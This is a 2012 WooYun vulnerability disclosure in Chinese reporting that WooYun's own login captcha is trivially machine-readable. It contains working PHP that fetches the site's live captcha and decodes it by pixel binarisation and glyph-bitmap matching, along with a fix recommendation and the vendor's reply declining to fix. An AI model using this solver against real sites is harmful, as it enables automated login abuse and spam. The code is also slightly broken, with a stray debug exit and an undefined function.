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缺陷编号：wooyun-2012-012722

漏洞标题：乌云官方验证码容易识别的bug

相关厂商：乌云官方

漏洞作者： l4yn3

提交时间：2012-09-25 19:31

修复时间：2012-11-09 19:31

公开时间：2012-11-09 19:31

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：6

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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漏洞详情

披露状态：

2012-09-25： 细节已通知厂商并且等待厂商处理中
2012-09-25： 厂商已经确认，细节仅向厂商公开
2012-10-05： 细节向核心白帽子及相关领域专家公开
2012-10-15： 细节向普通白帽子公开
2012-10-25： 细节向实习白帽子公开
2012-11-09： 细节向公众公开

简要描述：

乌云官方网站验证码过于简单，用很简单的程序就可以识别出来

详细说明：

乌云官方网站验证码过于简单，用很简单的程序就可以识别出来，然后应该可以绕过验证码进行灌水，我只测试了绕过验证码自动登录。


特征：
1.四个字符，
2.基本无干扰素。
3.字符的rgb特征分别为（255,255,255）或(0, 0, 0)，根据此特征可识别字符。
4.共涉及字母和数字22个，貌似没有0和O,1和I，可能是怕分不清楚。
5.字符间距各1个像素，很固定。
6.字符宽度8像素，高度10像素，很固定。
7.图片上间距和左间距固定，各为4px和14px,固定不变。
识别思路：
1.二值化，根据字符的rgb特征分别为（255,255,255）或(0, 0, 0)的特征将字符像素变成1，其他为0.
2.取字模，手机22个验证码字符的二进制字模。
3.和乌云验证码对比，识别验证码。

<?php
/*=============================================================================
#     FileName: get_word_from_imge.php
#         Desc: 简单的验证码识别程序
#       Author: l4yn3
#     HomePage: http://hi.baidu.com/l4yn3/
#      Version: 0.0.1
#   LastChange: 2012-09-25 18:46:32
#     参考知识: http://blog.csdn.net/ugg/article/details/3953137
=============================================================================*/
define('WORD_WIDTH',8);   //字符宽度
define('WORD_HIGHT',10);  //字符高度
define('WORD_SPACING',1);  //字符间距
/**
 * 乌云官方验证码识别类
 */
class valite
{
	var $data;
	var $Keys;
	var $ImagePath;
	public function setImage($image)
	{
		$this->ImagePath = $image;
	}
	
	public function getHec()
	{
		global $sign;
		$num = ($sign == "black") ? 0 : 255 * 3;
		$res = imagecreatefrompng($this->ImagePath);
		$size = getimagesize($this->ImagePath);
		$data = array();
		for($i = 0; $i < $size[1]; ++$i)
		{
			for($j=0; $j < $size[0]; ++$j)
			{
				$rgb = imagecolorat($res,$j,$i);
				$rgbarray = imagecolorsforindex($res, $rgb);
				if($rgbarray['red'] + $rgbarray['green'] + $rgbarray['blue'] !== $num)
				{
					$data[$i][$j] = 0;
				}
				else
				{
					$data[$i][$j] = 1;
				}
			}
		}
		$this->DataArray = $data;
		$this->ImageSize = $size;
	}
	
	public function run()
	{
		global $offset_x, $offset_y, $sign;
		$num = ($sign == "black") ? 0 : 255 * 3;   //判断是黑色文字还是白色文字
		$result="";
		$data = array("","","","");
		$res = imagecreatefrompng($this->ImagePath);
		$size = getimagesize($this->ImagePath);
		
		for($a = 1; $a <= 4; $a++)
		{
			$str = '';
			for($i = $offset_y; $i < $offset_y + WORD_HIGHT; $i++)
			{
				for($j = $offset_x + ($a - 1) * WORD_WIDTH + ($a - 1) * WORD_SPACING; $j < $offset_x + WORD_WIDTH * $a + ($a - 1) * WORD_SPACING; $j++)
				{
					$rgb = imagecolorat($res, $j, $i);
					$rgb_arr = imagecolorsforindex($res, $rgb);
					$data[$a-1] .= $this->DataArray[$i][$j];
				}
			}
		}
		
		// 进行关键字匹配
		foreach($data as $numKey => $numString)
		{
			$max = 0.0;
			$num = 0;
			foreach($this->Keys as $key => $value)
			{
				$percent = 0.0;
				similar_text($value, $numString,$percent);  //判断字符的相似度
				if(intval($percent) > $max)
				{
					$max = $percent;
					$num = $key;
					if(intval($percent) == 100)
					break;
				}
			}
			$result.=$num;
		}
		$this->data = $result;
		return $result;
	}
	public function __construct()
	{
		/*识别出来的乌云验证码字模信息*/
		$this->Keys = array(
		'0'=>'',
		'1'=>'',
		'2'=>'00111100011001101100001100000011000001100000110000011000001100000110000011111111',
		'3'=>'01111100110001100000001100000110000111000000011000000011000000111100011001111100',
		'4'=>'00000110000011100001111000110110011001101100011011111111000001100000011000000110',
		'5'=>'11111110110000001100000011011100111001100000001100000011110000110110011000111100',
		'6'=>'00111100011001101100001011000000110111001110011011000011110000110110011000111100',
		'7'=>'11111111000000110000001100000110000011000001100000110000011000001100000011000000',
		'8'=>'00111100011001101100001101100110001111000110011011000011110000110110011000111100',
		'9'=>'00111100011001101100001111000011011001110011101100000011010000110110011000111100',
		'A'=>'00011000001111000110011011000011110000111100001111111111110000111100001111000011',
		'B'=>'11111100110001101100001111000110111111001100011011000011110000111100011011111100',
		'C'=>'00111110011000111100000111000000110000001100000011000000110000010110001100111110',
		'D'=>'11111100110001101100001111000011110000111100001111000011110000111100011011111100',
		'E'=>'11111110110000001100000011000000111111001100000011000000110000001100000011111110',
		'F'=>'11111111110000001100000011000000111111001100000011000000110000001100000011000000',
		'G'=>'00111110011000111100000011000000110000001100011111000011110000110110001100111110',
		'H'=>'11000011110000111100001111000011111111111100001111000011110000111100001111000011',
		'I'=>'',
		'J'=>'00011110000001100000011000000110000001100000011000000110010001100110110000111000',
		'K'=>'11000011110001101100110011011000111100001111000011011000110011001100011011000011',
		'L'=>'11000000110000001100000011000000110000001100000011000000110000001100000011111110',
		'M'=>'11000011111001111111111111011011110110111101101111000011110000111100001111000011',
		'N'=>'11000011111000111111001111110011110110111101101111001111110001111100011111000011',
		'O'=>'',
		'P'=>'11111110110000111100001111000011111111101100000011000000110000001100000011000000',
		'Q'=>'00111100011001101100001111000011110000111100001111011011110011110110011000111101',
		'R'=>'11111110110000111100001111000011111111101111100011001100110001101100001111000011',
		'S'=>'01111110110000111100000011000000011111100000001100000011000000111100001101111110',
		'T'=>'11111111000110000001100000011000000110000001100000011000000110000001100000011000',
		'U'=>'11000011110000111100001111000011110000111100001111000011110000110110011000111100',
		'V'=>'11000011110000111100001101100110011001100110011000111100001111000001100000011000',
		'W'=>'11000011110000111100001111000011110110111101101111011011111111111110011111000011',
		'X'=>'11000011110000110110011000111100000110000001100000111100011001101100001111000011',
		'Y'=>'11000011110000110110011000111100000110000001100000011000000110000001100000011000',
		'Z'=>'11111110000001100000011000001100000110000011000001100000110000001100000011111110',
	);
	}
}
/**
 *
 * 此函数用于获得字符特征值，即获取验证码的特征值
 */
function getOffSetX($img)
{
	global $offset_x, $offset_y, $sign;
	$res = imagecreatefrompng($img);
	$size = getimagesize($img);
	for($a = 1; $a <= 4; $a++)
	{
		$str = '';
		for($i = $offset_y; $i < $offset_y + WORD_HIGHT; $i++)
		{
			for($j = $offset_x + ($a - 1) * WORD_WIDTH + ($a - 1) * WORD_SPACING; $j < $offset_x + WORD_WIDTH * $a + ($a - 1) * WORD_SPACING; $j++)
			{
				$rgb = imagecolorat($res, $j, $i);
				$rgb_arr = imagecolorsforindex($res, $rgb);
				$num = ($sign == "black") ? 0 : 255 * 3;
				if($rgb_arr['red'] + $rgb_arr['green'] + $rgb_arr['blue'] != $num)
				{
					$str .= '0';	
				}
				else
				{
					$str .= '1';
				}
			}
		}
		return $str;
	}
	return $str;
}
/**
 * 判断是黑色文字 还是白色文字 乌云两种颜色验证码，黑字和白字
 */
function checkBOrW($img)
{
	$res = imagecreatefrompng($img);
	$size = getimagesize($img);
	$str = "";
	for($i = 0; $i < $size[1]; $i++)
	{
		for($j = 0; $j < $size[0]; $j++)
		{
			$rgb = imagecolorat($res, $j, $i);
			$rgb_arr = imagecolorsforindex($res, $rgb);
			$str .= $rgb_arr["green"].$rgb_arr["red"].$rgb_arr["blue"];
		}
	}
	if(preg_match("/(255){3}/", $str))
	{
		return "white";  //白色文字
	}
	else
	{
		return 'black';  //黑色文字
	}
}
/**
 * 获取offset_x和offset_y
 */
function getOffSet($img = '')
{
	global $sign;
	$num = ($sign == "black") ? 0 : 255 * 3;   //判断是黑色文字还是白色文字
	$res = imagecreatefrompng($img);
	$size = getimagesize($img);
	$offset_x = '';
	$offset_y = '';
	for($i = 1; $i < $size[0]; $i++)
	{
		for($j = 1; $j < $size[1]; $j++)
		{
			$rgb = imagecolorat($res, $i, $j);
			$rgb_arr = imagecolorsforindex($res, $rgb);
			if($rgb_arr['red'] + $rgb_arr['green'] + $rgb_arr['blue'] == $num)
			{
				$offset_x = $i;
				break;
			}
		}
		if($offset_x)
		{
			break;
		}
	}
	for($i = 1; $i < $size[1]; $i++)
	{
		for($j = 1; $j < $size[0]; $j++)
		{
			$rgb = imagecolorat($res, $j, $i);
			$rgb_arr = imagecolorsforindex($res, $rgb);
			if($rgb_arr['red'] + $rgb_arr['green'] + $rgb_arr['blue'] == $num)
			{
				$offset_y = $i;
				break;
			}
		}
		if($offset_y)
		{
			break;
		}
	}
	return array('offset_x'=>$offset_x, 'offset_y'=>$offset_y);
}


<?php
include("get_word_from_imge.php");
$img = "http://www.wooyun.org/captcha.php";   //验证码图片名称
$content = get_remove_content($img);
file_put_contents("hi.png", $content);
$img = "hi.png";
$sign = checkBOrW($img);
$offset_arr = getOffSet($img);print_r($offset_arr);exit;
extract($offset_arr);
//getOffSetX($img);  //获取特征值
$valite = new valite();
$valite->setImage($img);
$valite->getHec();
$result = $valite->run();
echo $result;

漏洞证明：


修复方案：

使验证码不规则化，增加更复杂的干扰素，减少可识别固定特征（比如字符间距，文字距离图片间距）。其他各种干扰方式。

版权声明：转载请注明来源 l4yn3@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：2

确认时间：2012-09-25 19:32

厂商回复：

非常感谢作者详细的提交，内容非常丰富，但是这个问题我们认为我们可能不会修复 ：）

最新状态：

暂无